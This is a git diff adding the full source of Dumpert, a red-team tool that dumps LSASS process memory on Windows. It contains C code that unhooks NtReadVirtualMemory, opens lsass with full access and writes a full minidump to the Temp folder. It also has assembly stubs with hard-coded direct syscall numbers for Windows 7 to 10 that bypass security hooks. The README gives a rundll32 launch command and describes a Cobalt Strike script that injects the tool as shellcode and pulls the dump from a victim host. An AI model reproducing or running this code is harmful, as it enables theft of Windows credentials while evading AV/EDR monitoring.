Mapping version specific System calls.\n"); + ZwOpenProcess = &ZwOpenProcess80; + NtCreateFile = &NtCreateFile80; + ZwClose = &ZwClose80; + pWinVerInfo->SystemCall = 0x3D; + } + else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { + lpOSVersion = L"8.1 or Server 2012 R2"; + wprintf(L" [+] Operating System is Windows %ls, build number %d\n", lpOSVersion, pWinVerInfo->dwBuildNumber); + wprintf(L" [+] Mapping version specific System calls.\n"); + ZwOpenProcess = &ZwOpenProcess81; + NtCreateFile = &NtCreateFile81; + ZwClose = &ZwClose81; + pWinVerInfo->SystemCall = 0x3E; + } + else { + wprintf(L" [!] OS Version not supported.\n\n"); + exit(1); + } + + wprintf(L"[2] Checking Process details:\n"); + + _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); + if (RtlInitUnicodeString == NULL) { + return FALSE; + } + + RtlInitUnicodeString(&pWinVerInfo->ProcName, lpwProcName); + + if (!GetPID(pWinVerInfo)) { + wprintf(L" [!] Enumerating process failed.\n"); + exit(1); + } + + wprintf(L" [+] Process ID of %wZ is: %lld\n", pWinVerInfo->ProcName, (ULONG64)pWinVerInfo->hTargetPID); + pWinVerInfo->lpApiCall = "NtReadVirtualMemory"; + + if (!Unhook_NativeAPI(pWinVerInfo)) { + printf(" [!] Unhooking %s failed.\n", pWinVerInfo->lpApiCall); + exit(1); + } + + wprintf(L"[3] Create memorydump file:\n"); + + wprintf(L" [+] Open a process handle.\n"); + HANDLE hProcess = NULL; + OBJECT_ATTRIBUTES ObjectAttributes; + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + CLIENT_ID uPid = { 0 }; + + uPid.UniqueProcess = pWinVerInfo->hTargetPID; + uPid.UniqueThread = (HANDLE)0; + + NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid); + if (hProcess == NULL) { + wprintf(L" [!] Failed to get processhandle.\n"); + exit(1); + } + + WCHAR chDmpFile[MAX_PATH] = L"\\??\\"; + WCHAR chWinPath[MAX_PATH]; + GetWindowsDirectory(chWinPath, MAX_PATH); + wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath); + wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\\Temp\\dumpert.dmp"); + + UNICODE_STRING uFileName; + RtlInitUnicodeString(&uFileName, chDmpFile); + + wprintf(L" [+] Dump %wZ memory to: %wZ\n", pWinVerInfo->ProcName, uFileName); + + HANDLE hDmpFile = NULL; + IO_STATUS_BLOCK IoStatusBlock; + ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock)); + OBJECT_ATTRIBUTES FileObjectAttributes; + InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); + + // Open input file for writing, overwrite existing file. + status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0, + FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); + + if (hDmpFile == INVALID_HANDLE_VALUE) { + wprintf(L" [!] Failed to create dumpfile.\n"); + ZwClose(hProcess); + exit(1); + } + + DWORD dwTargetPID = GetProcessId(hProcess); + BOOL Success = MiniDumpWriteDump(hProcess, + dwTargetPID, + hDmpFile, + MiniDumpWithFullMemory, + NULL, + NULL, + NULL); + if ((!Success)) + { + wprintf(L" [!] Failed to create minidump, error code: %x\n", GetLastError()); + } + else { + wprintf(L" [+] Dump succesful.\n"); + } + + ZwClose(hDmpFile); + ZwClose(hProcess); + + return 0; +} \ No newline at end of file diff --git a/Dumpert/Outflank-Dumpert/Dumpert.h b/Dumpert/Outflank-Dumpert/Dumpert.h new file mode 100755 index 0000000..5034900 --- /dev/null +++ b/Dumpert/Outflank-Dumpert/Dumpert.h @@ -0,0 +1,209 @@ +#pragma once + +#include + +#define STATUS_SUCCESS 0 +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +typedef LONG KPRIORITY; + +#define InitializeObjectAttributes( i, o, a, r, s ) { \ + (i)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (i)->RootDirectory = r; \ + (i)->Attributes = a; \ + (i)->ObjectName = o; \ + (i)->SecurityDescriptor = s; \ + (i)->SecurityQualityOfService = NULL; \ + } + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +typedef const UNICODE_STRING* PCUNICODE_STRING; + +typedef struct _WIN_VER_INFO { + WCHAR chOSMajorMinor[8]; + DWORD dwBuildNumber; + UNICODE_STRING ProcName; + HANDLE hTargetPID; + LPCSTR lpApiCall; + INT SystemCall; +} WIN_VER_INFO, *PWIN_VER_INFO; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_PROCESSES { + ULONG NextEntryDelta; + ULONG ThreadCount; + ULONG Reserved1[6]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ProcessName; + KPRIORITY BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; +} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; + +typedef struct _IO_STATUS_BLOCK +{ + union + { + LONG Status; + PVOID Pointer; + }; + ULONG Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + + +// Windows 7 SP1 / Server 2008 R2 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory7SP1(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory7SP1(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess7SP1(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose7SP1(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation7SP1(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile7SP1(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + +// Windows 8 / Server 2012 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory80(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory80(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess80(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose80(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory80(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory80(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation80(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile80(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + + +// Windows 8.1 / Server 2012 R2 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory81(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory81(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess81(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose81(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory81(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation81(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile81(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + + +// Windows 10 / Server 2016 specific Syscalls +EXTERN_C NTSTATUS NtAllocateVirtualMemory10(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +EXTERN_C NTSTATUS NtFreeVirtualMemory10(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType); +EXTERN_C NTSTATUS ZwOpenProcess10(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +EXTERN_C NTSTATUS ZwClose10(IN HANDLE KeyHandle); +EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); +EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); +EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); +EXTERN_C NTSTATUS NtCreateFile10(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); + +NTSTATUS(*NtAllocateVirtualMemory)( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + PSIZE_T RegionSize, + ULONG AllocationType, + ULONG Protect + ); + +NTSTATUS(*NtFreeVirtualMemory)( + HANDLE ProcessHandle, + PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + ULONG FreeType + ); + +NTSTATUS(*ZwOpenProcess)( + PHANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PCLIENT_ID ClientId + ); + +NTSTATUS(WINAPI *ZwQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +NTSTATUS(*ZwWriteVirtualMemory)( + HANDLE hProcess, + PVOID lpBaseAddress, + PVOID lpBuffer, + SIZE_T NumberOfBytesToRead, + PSIZE_T NumberOfBytesRead + ); + +NTSTATUS(*ZwProtectVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID* BaseAddress, + IN SIZE_T* NumberOfBytesToProtect, + IN ULONG NewAccessProtection, + OUT PULONG OldAccessProtection + ); + +NTSTATUS(*NtCreateFile)( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + +NTSTATUS(*ZwClose)( + IN HANDLE KeyHandle + ); + +typedef NTSTATUS(NTAPI *_RtlGetVersion)( + LPOSVERSIONINFOEXW lpVersionInformation + ); + +typedef void (WINAPI* _RtlInitUnicodeString)( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +typedef NTSYSAPI BOOLEAN(NTAPI *_RtlEqualUnicodeString)( + PUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); diff --git a/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj b/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj new file mode 100755 index 0000000..8e0f806 --- /dev/null +++ b/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj @@ -0,0 +1,130 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {C7A0003B-98DC-4D57-8F09-5B90AAEFBDF4} + OutflankDumpert + 8.1 + Outflank-Dumpert + + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + Application + true + v140 + MultiByte + + + Application + false + v140 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + + + + + Level3 + Disabled + true + + + + + Level3 + MaxSpeed + true + true + true + MultiThreaded + + + true + true + + + + + Level3 + MaxSpeed + true + true + true + MultiThreaded + + + true + true + false + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.filters b/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.filters new file mode 100755 index 0000000..269c0e9 --- /dev/null +++ b/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.user b/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.user new file mode 100755 index 0000000..6fb136b --- /dev/null +++ b/Dumpert/Outflank-Dumpert/Outflank-Dumpert.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Dumpert/Outflank-Dumpert/Syscalls.asm b/Dumpert/Outflank-Dumpert/Syscalls.asm new file mode 100755 index 0000000..86381b9 --- /dev/null +++ b/Dumpert/Outflank-Dumpert/Syscalls.asm @@ -0,0 +1,237 @@ +.code + +; Reference: https://j00ru.vexillium.org/syscalls/nt/64/ + +; Windows 7 SP1 / Server 2008 R2 specific syscalls + +ZwOpenProcess7SP1 proc + mov r10, rcx + mov eax, 23h + syscall + ret +ZwOpenProcess7SP1 endp + +ZwClose7SP1 proc + mov r10, rcx + mov eax, 0Ch + syscall + ret +ZwClose7SP1 endp + +ZwWriteVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 37h + syscall + ret +ZwWriteVirtualMemory7SP1 endp + +ZwProtectVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 4Dh + syscall + ret +ZwProtectVirtualMemory7SP1 endp + +ZwQuerySystemInformation7SP1 proc + mov r10, rcx + mov eax, 33h + syscall + ret +ZwQuerySystemInformation7SP1 endp + +NtAllocateVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 15h + syscall + ret +NtAllocateVirtualMemory7SP1 endp + +NtFreeVirtualMemory7SP1 proc + mov r10, rcx + mov eax, 1Bh + syscall + ret +NtFreeVirtualMemory7SP1 endp + +NtCreateFile7SP1 proc + mov r10, rcx + mov eax, 52h + syscall + ret +NtCreateFile7SP1 endp + +; Windows 8 / Server 2012 specific syscalls + +ZwOpenProcess80 proc + mov r10, rcx + mov eax, 24h + syscall + ret +ZwOpenProcess80 endp + +ZwClose80 proc + mov r10, rcx + mov eax, 0Dh + syscall + ret +ZwClose80 endp + +ZwWriteVirtualMemory80 proc + mov r10, rcx + mov eax, 38h + syscall + ret +ZwWriteVirtualMemory80 endp + +ZwProtectVirtualMemory80 proc + mov r10, rcx + mov eax, 4Eh + syscall + ret +ZwProtectVirtualMemory80 endp + +ZwQuerySystemInformation80 proc + mov r10, rcx + mov eax, 34h + syscall + ret +ZwQuerySystemInformation80 endp + +NtAllocateVirtualMemory80 proc + mov r10, rcx + mov eax, 16h + syscall + ret +NtAllocateVirtualMemory80 endp + +NtFreeVirtualMemory80 proc + mov r10, rcx + mov eax, 1Ch + syscall + ret +NtFreeVirtualMemory80 endp + +NtCreateFile80 proc + mov r10, rcx + mov eax, 53h + syscall + ret +NtCreateFile80 endp + +; Windows 8.1 / Server 2012 R2 specific syscalls + +ZwOpenProcess81 proc + mov r10, rcx + mov eax, 25h + syscall + ret +ZwOpenProcess81 endp + +ZwClose81 proc + mov r10, rcx + mov eax, 0Eh + syscall + ret +ZwClose81 endp + +ZwWriteVirtualMemory81 proc + mov r10, rcx + mov eax, 39h + syscall + ret +ZwWriteVirtualMemory81 endp + +ZwProtectVirtualMemory81 proc + mov r10, rcx + mov eax, 4Fh + syscall + ret +ZwProtectVirtualMemory81 endp + +ZwQuerySystemInformation81 proc + mov r10, rcx + mov eax, 35h + syscall + ret +ZwQuerySystemInformation81 endp + +NtAllocateVirtualMemory81 proc + mov r10, rcx + mov eax, 17h + syscall + ret +NtAllocateVirtualMemory81 endp + +NtFreeVirtualMemory81 proc + mov r10, rcx + mov eax, 1Dh + syscall + ret +NtFreeVirtualMemory81 endp + +NtCreateFile81 proc + mov r10, rcx + mov eax, 54h + syscall + ret +NtCreateFile81 endp + +; Windows 10 / Server 2016 specific syscalls + +ZwOpenProcess10 proc + mov r10, rcx + mov eax, 26h + syscall + ret +ZwOpenProcess10 endp + +ZwClose10 proc + mov r10, rcx + mov eax, 0Fh + syscall + ret +ZwClose10 endp + +ZwWriteVirtualMemory10 proc + mov r10, rcx + mov eax, 3Ah + syscall + ret +ZwWriteVirtualMemory10 endp + +ZwProtectVirtualMemory10 proc + mov r10, rcx + mov eax, 50h + syscall + ret +ZwProtectVirtualMemory10 endp + +ZwQuerySystemInformation10 proc + mov r10, rcx + mov eax, 36h + syscall + ret +ZwQuerySystemInformation10 endp + +NtAllocateVirtualMemory10 proc + mov r10, rcx + mov eax, 18h + syscall + ret +NtAllocateVirtualMemory10 endp + +NtFreeVirtualMemory10 proc + mov r10, rcx + mov eax, 1Eh + syscall + ret +NtFreeVirtualMemory10 endp + +NtCreateFile10 proc + mov r10, rcx + mov eax, 55h + syscall + ret +NtCreateFile10 endp + +end diff --git a/README.md b/README.md index 60ccd57..144d2f6 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,28 @@ -# Dumpert -LSASS memory dumper using direct system calls and API unhooking +### Dumpert, a LSASS memory dumper using direct system calls and API unhooking + +Recent malware research shows that there is an increase in malware that is using direct system calls to evade user-mode API hooks used by security products. +These tools demonstrates the use of direct System Calls and API unhooking and combine these techniques in a proof of concept code which can be used to create a LSASS memory dump using Cobalt Strike, +while not touching disk and evading AV/EDR monitored user-mode API calls. + +Two version of the code are included: + +An executable version and a DLL version of the code. +The DLL version can be run as follow: + +``` +rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump +``` + +Also a sRDI version of the code is provided, including an Cobalt Strike agressor script. +This script uses shinject to inject the sRDI shellcode version of the dumpert DLL into the current process. +Then it waits a few seconds for the lsass minidump to finish and finally download the minidump file from the victim host. + +Compile instructions: + +``` +This project is written in C and assembly. +You can use Visual Studio to compile it from source. +``` + +More info about the used techniques can be found on the following Blog: +The sRDI code can be found here: https://github.com/monoxgas/sRDI \ No newline at end of file